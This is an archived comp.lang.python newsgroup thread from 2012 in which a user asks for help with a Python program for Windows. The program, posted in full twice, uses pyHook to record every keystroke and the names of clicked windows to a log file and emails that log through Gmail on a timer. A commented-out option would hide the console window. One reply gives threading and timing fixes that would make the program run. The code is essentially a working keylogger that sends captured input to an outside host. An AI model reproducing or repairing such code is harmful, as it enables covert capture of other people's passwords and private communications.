Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]


Groups > comp.lang.python > #34089 > unrolled thread

pyHook and time libraries

Started byDoron <dorimeshi@gmail.com>
First post2012-11-29 22:03 -0800
Last post2012-12-01 05:38 -0800
Articles 5 — 4 participants

Back to article view | Back to comp.lang.python


Contents

  pyHook and time libraries Doron <dorimeshi@gmail.com> - 2012-11-29 22:03 -0800
    RE: pyHook and time libraries "Prasad, Ramit" <ramit.prasad@jpmorgan.com> - 2012-11-30 19:47 +0000
      Re: pyHook and time libraries doronmmm@gmail.com - 2012-12-01 05:38 -0800
        Re: pyHook and time libraries Dennis Lee Bieber <wlfraed@ix.netcom.com> - 2012-12-01 14:26 -0500
      Re: pyHook and time libraries doronmmm@gmail.com - 2012-12-01 05:38 -0800

#34089 — pyHook and time libraries

FromDoron <dorimeshi@gmail.com>
Date2012-11-29 22:03 -0800
SubjectpyHook and time libraries
Message-ID<9cc06bdd-8254-4f6b-9ce3-0a43b229ca14@googlegroups.com>
Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every predetermined period.

I've manage to make the recorder and the auto-email sender, but I still can't make both of them work simultaneously.

Can someone help me with this please?
I thought about threading but again... It just sends blank mails without the logs.

Thanks alot ahead!

[toc] | [next] | [standalone]


#34105

From"Prasad, Ramit" <ramit.prasad@jpmorgan.com>
Date2012-11-30 19:47 +0000
Message-ID<mailman.391.1354304894.29569.python-list@python.org>
In reply to#34089
Doron wrote:
> 
> Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every
> predetermined period.
> 
> I've manage to make the recorder and the auto-email sender, but I still can't make both of them work
> simultaneously.
> 
> Can someone help me with this please?
> I thought about threading but again... It just sends blank mails without the logs.
> 
> Thanks alot ahead!

I am not sure how to even begin helping you. I do not even know
what is wrong other than "can't make both of them work simultaneously".
What version of Python and OS? Are you using any 3rd party modules?
What is the code you use? What happens and what do you expect? How
are you getting the logs for email? Are they being passed in or are
you using a log file?


~Ramit



This email is confidential and subject to important disclaimers and
conditions including on offers for the purchase or sale of
securities, accuracy and completeness of information, viruses,
confidentiality, legal privilege, and legal entity disclaimers,
available at http://www.jpmorgan.com/pages/disclosures/email.  

[toc] | [prev] | [next] | [standalone]


#34123

Fromdoronmmm@gmail.com
Date2012-12-01 05:38 -0800
Message-ID<c30a77db-6254-49c2-acab-897def23599e@googlegroups.com>
In reply to#34105
בתאריך יום שישי, 30 בנובמבר 2012 21:47:57 UTC+2, מאת Prasad, Ramit:
> Doron wrote:
> 
> > 
> 
> > Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every
> 
> > predetermined period.
> 
> > 
> 
> > I've manage to make the recorder and the auto-email sender, but I still can't make both of them work
> 
> > simultaneously.
> 
> > 
> 
> > Can someone help me with this please?
> 
> > I thought about threading but again... It just sends blank mails without the logs.
> 
> > 
> 
> > Thanks alot ahead!
> 
> 
> 
> I am not sure how to even begin helping you. I do not even know
> 
> what is wrong other than "can't make both of them work simultaneously".
> 
> What version of Python and OS? Are you using any 3rd party modules?
> 
> What is the code you use? What happens and what do you expect? How
> 
> are you getting the logs for email? Are they being passed in or are
> 
> you using a log file?
> 
> 
> 
> 
> 
> ~Ramit
> 
> 
> 
> 
> 
> 
> 
> This email is confidential and subject to important disclaimers and
> 
> conditions including on offers for the purchase or sale of
> 
> securities, accuracy and completeness of information, viruses,
> 
> confidentiality, legal privilege, and legal entity disclaimers,
> 
> available at http://www.jpmorgan.com/pages/disclosures/email.


This is the code:

=======================
import win32api
import win32console
import win32gui
import pythoncom, pyHook
import smtplib
import time
import thread, threading

#win = win32console.GetConsoleWindow()
#win32gui.ShowWindow(win,0)

log = ""
logpath = "log.txt"

openfile = open(logpath,"w")
openfile.write("")

#openfile = open(logpath,"r+")

l = threading.Lock()


def sendEmail():
    print("ready to send email")
    fromaddr = 'email@gmail.com'
    toaddrs  = 'email@gmail.com'
    msg = open('log.txt',"r").read()

    username = 'something'
    password = 'something' 
    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(username,password)
    server.sendmail(fromaddr, toaddrs, msg)
    server.quit()
    print("mail sent")

def sendEmailAuto(dt,openfile):
        tt = time.time()
        nn = tt+dt

        while tt<nn:
            print(tt,nn)
            if tt>=nn-0.5:
                #l.acquire()   <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python
                msg = open('log.txt',"r").read()
                print(msg)
                sendEmail()
                tt = time.time()
                nn = tt+dt
                log = ""
                #l.release()                
            else:
                tt = time.time()
                
def OnKeyboardEvent(event):
    try:
        global log
        if event.Alt == 32 and event.KeyID == 160:
            log = "[LangCh]"
        elif event.KeyID>=37 and event.KeyID<=40:
            log = "["+event.Key+"]"
        elif event.Ascii == 8:
            log = "[BS]"
        elif event.Ascii == 9:
            log = "[TAB]"
        elif event.Ascii == 13:
            log = "[NL]"
        elif event.Ascii == 27:
            log = "[ESC]"
        elif event.Alt == 32 and event.KeyID == 75:
            openfile.close()
            sendEmail()
            exit()
        else:
            log = chr(event.Ascii)
        openfile.write(log)
    except:
        pass
    return True


def OnMouseEvent(event):
    global log
    if event.MessageName == "mouse left down":
        log = "<"+event.WindowName +">\n"
        openfile.write(log)
    if event.MessageName == "mouse left up" and event.WindowName == None :
        log = "-\n"
        openfile.write(log)
    return True

thread.start_new_thread(sendEmailAuto, (10,openfile))

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent

hm.HookKeyboard()
hm2.HookMouse()                

pythoncom.PumpMessages()

========================================

i want that an email will be sent to the address every 5 minutes for example.
i'm working on Windows7 and the latest python version.

[toc] | [prev] | [next] | [standalone]


#34127

FromDennis Lee Bieber <wlfraed@ix.netcom.com>
Date2012-12-01 14:26 -0500
Message-ID<mailman.404.1354389995.29569.python-list@python.org>
In reply to#34123
On Sat, 1 Dec 2012 05:38:39 -0800 (PST), doronmmm@gmail.com declaimed
the following in gmane.comp.python.general:

	<stripping practically everything>
> def sendEmailAuto(dt,openfile):
>         tt = time.time()
>         nn = tt+dt
> 
>         while tt<nn:

	Ugh... A CPU intensive polling loop!

	The simplest way to delay is to use time.sleep()

	while True:
		time.sleep(300.0)	#5min * 60sec

	There is no guarantee that this will fire exactly 5min later -- but
should fire as soon after 5min as it gets control...

> def OnMouseEvent(event):
>     global log

	Why bother defining "log" as global, when the only contents used are
local messages being written to a file?

> 
> thread.start_new_thread(sendEmailAuto, (10,openfile))
> 
> hm = pyHook.HookManager()
> hm.KeyDown = OnKeyboardEvent
> hm2 = pyHook.HookManager()
> hm2.MouseAll = OnMouseEvent
> 
> hm.HookKeyboard()
> hm2.HookMouse()                
> 
> pythoncom.PumpMessages()
>

	Uhm... I don't know if pythoncom (or the PumpMessages() ) method is
Python friendly -- that is, if it DOESN'T release the GIL at some point,
your email thread will never get control. Compare the difference between
.PumpMessages() and .PumpWaitingMessages(). The latter only runs the
currently pending batch and returns (which will definitely allow your
thread to run) -- the implication is the .PumpMessages() won't return
until the (implied) window is closed. Using .PumpWaitingMessages() will
require making a loop in the main thread...

	while True:
		if pythoncom.PumpWaitingMessages(): break		#window closed
		time.sleep(0.0)		#ensure threading task swapping can happen



-- 
	Wulfraed                 Dennis Lee Bieber         AF6VN
        wlfraed@ix.netcom.com    HTTP://wlfraed.home.netcom.com/

[toc] | [prev] | [next] | [standalone]


#34124

Fromdoronmmm@gmail.com
Date2012-12-01 05:38 -0800
Message-ID<mailman.402.1354369123.29569.python-list@python.org>
In reply to#34105
בתאריך יום שישי, 30 בנובמבר 2012 21:47:57 UTC+2, מאת Prasad, Ramit:
> Doron wrote:
> 
> > 
> 
> > Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every
> 
> > predetermined period.
> 
> > 
> 
> > I've manage to make the recorder and the auto-email sender, but I still can't make both of them work
> 
> > simultaneously.
> 
> > 
> 
> > Can someone help me with this please?
> 
> > I thought about threading but again... It just sends blank mails without the logs.
> 
> > 
> 
> > Thanks alot ahead!
> 
> 
> 
> I am not sure how to even begin helping you. I do not even know
> 
> what is wrong other than "can't make both of them work simultaneously".
> 
> What version of Python and OS? Are you using any 3rd party modules?
> 
> What is the code you use? What happens and what do you expect? How
> 
> are you getting the logs for email? Are they being passed in or are
> 
> you using a log file?
> 
> 
> 
> 
> 
> ~Ramit
> 
> 
> 
> 
> 
> 
> 
> This email is confidential and subject to important disclaimers and
> 
> conditions including on offers for the purchase or sale of
> 
> securities, accuracy and completeness of information, viruses,
> 
> confidentiality, legal privilege, and legal entity disclaimers,
> 
> available at http://www.jpmorgan.com/pages/disclosures/email.


This is the code:

=======================
import win32api
import win32console
import win32gui
import pythoncom, pyHook
import smtplib
import time
import thread, threading

#win = win32console.GetConsoleWindow()
#win32gui.ShowWindow(win,0)

log = ""
logpath = "log.txt"

openfile = open(logpath,"w")
openfile.write("")

#openfile = open(logpath,"r+")

l = threading.Lock()


def sendEmail():
    print("ready to send email")
    fromaddr = 'email@gmail.com'
    toaddrs  = 'email@gmail.com'
    msg = open('log.txt',"r").read()

    username = 'something'
    password = 'something' 
    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(username,password)
    server.sendmail(fromaddr, toaddrs, msg)
    server.quit()
    print("mail sent")

def sendEmailAuto(dt,openfile):
        tt = time.time()
        nn = tt+dt

        while tt<nn:
            print(tt,nn)
            if tt>=nn-0.5:
                #l.acquire()   <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python
                msg = open('log.txt',"r").read()
                print(msg)
                sendEmail()
                tt = time.time()
                nn = tt+dt
                log = ""
                #l.release()                
            else:
                tt = time.time()
                
def OnKeyboardEvent(event):
    try:
        global log
        if event.Alt == 32 and event.KeyID == 160:
            log = "[LangCh]"
        elif event.KeyID>=37 and event.KeyID<=40:
            log = "["+event.Key+"]"
        elif event.Ascii == 8:
            log = "[BS]"
        elif event.Ascii == 9:
            log = "[TAB]"
        elif event.Ascii == 13:
            log = "[NL]"
        elif event.Ascii == 27:
            log = "[ESC]"
        elif event.Alt == 32 and event.KeyID == 75:
            openfile.close()
            sendEmail()
            exit()
        else:
            log = chr(event.Ascii)
        openfile.write(log)
    except:
        pass
    return True


def OnMouseEvent(event):
    global log
    if event.MessageName == "mouse left down":
        log = "<"+event.WindowName +">\n"
        openfile.write(log)
    if event.MessageName == "mouse left up" and event.WindowName == None :
        log = "-\n"
        openfile.write(log)
    return True

thread.start_new_thread(sendEmailAuto, (10,openfile))

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent

hm.HookKeyboard()
hm2.HookMouse()                

pythoncom.PumpMessages()

========================================

i want that an email will be sent to the address every 5 minutes for example.
i'm working on Windows7 and the latest python version.

[toc] | [prev] | [standalone]


Back to top | Article view | comp.lang.python


csiph-web